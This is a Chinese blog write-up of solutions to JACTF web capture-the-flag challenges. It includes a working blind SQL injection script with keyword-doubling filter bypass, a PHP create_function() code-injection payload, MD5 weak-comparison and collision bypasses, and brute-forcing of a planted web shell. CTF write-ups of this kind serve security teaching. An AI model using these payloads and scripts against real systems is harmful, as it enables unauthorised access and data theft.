首页 > Web开发 > 详细

JACTF Web部分

时间:2019-09-11 22:11:23      阅读:214      评论:0      收藏:0      [点我收藏+]

掘安团队的题目

平台已不运营

Web签到

技术分享图片

发现请求URL为flag.php,但是会跳转到404.php页面,抓包发现有302重定向,查看响应包,flag经过base64编码,解码即可

技术分享图片

Tips:

重定向分为301和302两种

301为永久性

302为暂时性

下载下载

技术分享图片

直接请求?file=flag.php,获取源码,直接使用解密函数即可

<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
    $key = md5 ( $key );
    $x = 0;
    $len = strlen ( $data );
    $l = strlen ( $key );
    for($i = 0; $i < $len; $i ++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= $key {$x};
        $x ++;
    }
    for($i = 0; $i < $len; $i ++) {
        $str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
    }
    return base64_encode ( $str );
}

function decrypt($data, $key) {
    $key = md5 ( $key );
    $x = 0;
    $data = base64_decode ( $data );
    $len = strlen ( $data );
    $l = strlen ( $key );
    for($i = 0; $i < $len; $i ++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= substr ( $key, $x, 1 );
        $x ++;
    }
    for($i = 0; $i < $len; $i ++) {
        if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
            $str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
        } else {
            $str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
        }
    }
    return $str;
}

$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key);

//添加下面的语句即可

echo decrypt($flag,$key);

?>

技术分享图片

该网站已被黑

技术分享图片

御剑扫描一波

技术分享图片

登入shell.php

技术分享图片

可以使用burp暴力破解,密码为hack

技术分享图片

曲折的人生

看到一个登陆页面,随便输入

技术分享图片

有返回报错信息,可以构造or语句,获取登陆密码和用户名

select id,username,password from `admin` where username='admin'用户名:admin不正确

构造如下

select id,username,password from `admin` where username='' or ascii(substr((select password from `admin` limit 0,1),1,1))>1 # ''

写个脚本Fuzz一下

import requests
from bs4 import BeautifulSoup

url = 'http://120.79.1.69:10005/index.php?check'

uname_list = [' ', 'select', 'or', 'and', 'union', '\'', 'from', '\\', '#', '--', '+']

for i in uname_list:
    data = {'username':i}
    result = requests.post(url=url, data=data)
    soup = BeautifulSoup(result.text,'lxml')
    links = soup.find_all('div', class_='tip')
    
    for j in links:
    print(i + " 结果 " + j.get_text())
    print('************************************')
    

可以知道,空格,select,or,union被过滤,但是可以采取重写方式绕过,空格采取/**/方式绕过

注入脚本

import requests
from bs4 import BeautifulSoup

url = 'http://120.79.1.69:10005/index.php?check'
password = []



#s = "'/**/oorr/**/length((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1))=3/**/#'"
#判断长度
for i in range(0,100):
    s = "'/**/oorr/**/length((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1))="+str(i)+"/**/#'"
    data = {'username':s}
    result = requests.post(url=url, data=data)
    if('goodboy' in result.text):
        print(i)
        length_pass = i
        soup = BeautifulSoup(result.text,'lxml')
        links = soup.find_all('div', class_='tip')
        for x in links:
            print(" 结果 " + x.get_text())
            print('************************************')
        break

#s = "'/**/oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),1,1))>1/**/#'"
#判断内容
l = 1
for i in range(1,length_pass+1):
    for j in range(32,127):
        s = "'/**/oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),"+str(i)+",1))"+"="+str(j)+"/**/#'"
        data = {'username':s}
        result = requests.post(url=url, data=data)
        if('goodboy' in result.text):
            print("第" + str(l) + "次")
            l = l + 1
            password.append(chr(int(j)))
            continue

print(''.join(password))
#ajahas&&*44askldajaj
#goodboy_g-60Hellowor 这里过滤了or 应输入 goodboy_g-60Hellowoorr

快速计算脚本

import requests
from bs4 import BeautifulSoup

url = 'http://120.79.1.69:10005/index.php'

sess = requests.Session()

r = sess.get(url=url)

soup = BeautifulSoup(r.text,'lxml')

links = soup.find_all('div', class_='rep')

for i in links:
    s = i.get_text()
    
s = s.replace('(','(')
s = s.replace(')',')')
s = s.replace('X','*')
print(s)

num = eval(s)

print(num)

urls = 'http://120.79.1.69:10005/index.php?check'
password = 'ajahas&&*44askldajaj'
uname = 'goodboy_g-60Hellowoorr'

data = {'username':uname, 'password':password, 'code':num}

res = sess.post(url=urls, data=data)
print(res.text)

得到的响应,一个压缩包,也给出了解压密码

技术分享图片

解压之后,有一个加密的flag.zip,Form1.txt给出了解密方法,python脚本破解一下,结果是VmH0wW3DZalBnmmSalV1SYSGRr1r3jVYcFrHWkUUlhljkFzCbXaEKyaVJymT1FlVTVskVWhGtonaGU2WWGhVXYol1WVI1F2odFuk

re_string = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

def get_password(s):
    i = 1
    k = ''
    while(i <= len(s)):
        k = k + s[i-1:i]
        i = i + (i%5)
    return k

password = get_password(re_string)
print(get_password(password))

快速计算的那个也可以用正则表达式,这里用的是beautifulsoup解析,根据他class=rep这个唯一特征。

not easy

代码审计的题目

<?php
error_reporting(0);
if(isset($_GET['action'])) {
    $action = $_GET['action'];
}

if(isset($_GET['action'])){
    $arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
    show_source(__FILE__);
} else {
    $action($arg,'');
}

这一题是create_function()注入。正则表达式中/i不区分大小写,/s匹配任何不可见字符,/D如果使用$限制结尾字符,则不允许结尾有换行。相当于在不允许使用数字字母下划线的情况下,调用函数。

这里使用的绕过方案是在函数前面加一个 ?,P神在小密圈的解释

php里默认命名空间是 ,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

对于create_function(),官方给的解释如下图

技术分享图片

以如下代码为例

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

第一行代码等价于

eval(
function __lambda_func($a, $b){
    return "ln($a) + ln($b) = " . log($a * $b); 
}
)

在本题中,构造$action=\create_function,$action($arg,‘‘); 即为:

function lambda_1($arg){
    '';
}

构造$arg=){}print_r(scandir(‘./‘));/*,即可。

audit

又是代码审计

<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
    die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
    die('step 1 fail');
}
if( $str3 == $str4 ){
    die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
    die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
    die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
    die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
    echo "come on!";
    die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6)) 
{
    echo "a OR b fail!";
    die();
}

if ((strlen($m) > 4) || (strlen($n) > 4)) 
{
    echo "m OR n fail";
    die();
}

$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);

echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
    echo "You're great,give you flag:";
    echo $flag;
}

第一部分

  1. str1和str2进行md5弱比较,以0e开头的会被识别为科学计数法,结果均为0
  2. str3和str4进行md5强比较,传入数组绕过
  3. str5,str6,str7只能进行md5碰撞,需要生成三个md5相同的文件绕过

参考这篇文章:基于全等的MD5碰撞绕过

D:\fastcoll>fastcoll_v1.0.0.5.exe -o test0.txt test1.txt     //-o参数代表随机生成两个相同MD5的文件
D:\fastcoll>fastcoll_v1.0.0.5.exe -p test1.txt -o test00.txt test01.txt
//-p参数代表根据test1.txt文件随机生成两个相同MD5的文件,注意:生成的MD5与test1.txt不同
D:\fastcoll>tail.exe -c 128 test00.txt > a.txt               //-c 128代表将test00.txt的最后128位写入文件a,这128位正是test1.txt与test00.txt的MD5不同的原因
D:\fastcoll>tail.exe -c 128 test01.txt > b.txt               //同理
D:\fastcoll>type test0.txt a.txt > test10.txt               //这里表示将test0.txt和a.txt文件的内容合并写入test10.txt
D:\fastcoll>type test0.txt b.txt > test11.txt               //同理写入test11.txt

然后对生成的文件进行URL编码,参考这篇文章:如何用不同的数值构建一样的MD5

<?php 
function  readmyfile($path){
    $fh = fopen($path, "rb");
    $data = fread($fh, filesize($path));
    fclose($fh);
    return $data;
}

echo  'test01   '. urlencode(readmyfile("test01.txt"));
echo "<br><br>\r\n";
echo  'test00   '. urlencode(readmyfile("test00.txt"));
echo "<br><br>\r\n";
echo  'test10   '. urlencode(readmyfile("test10.txt"));
echo "<br><br>\r\n";
echo  'test11   '. urlencode(readmyfile("test11.txt"));
echo "<br><br>\r\n";
?>

技术分享图片

第二部分

  1. a是大写字母,b是数字且长度不大于6
  2. GET得到的m和n的长度不大于4
  3. str8为a的md5值
  4. str9为b的md5值中的字符m替换为n
  5. ($str8 == $str9) && !($a === $b) && (strlen($b) === 6),b长度必须为6,a不等于6,a的md5和b的md5替换后的值相同

这里使用0e绕过,a的值很明显为QNKCDZO

b的值可以利用这个替换,将一些可能的值替换为我们需要的,is_numeric()函数接受16进制,会把16进制认为是数字,写个脚本找出0e开头的十六进制,然后找出有不大于5个字母数的md5

import hashlib


for i in range(1000,10000):
    k = "0x"+str(i)
    
    md5_n = hashlib.md5(k.encode()).hexdigest()
    if md5_n[0:2] == "0e":
        print(k)
        print(md5_n)

结果如图,选择0x6156 0ec4899c94ada8d08a6ada8623c6ff01

技术分享图片

构造payload:

技术分享图片

JACTF Web部分

原文:https://www.cnblogs.com/peri0d/p/11508875.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!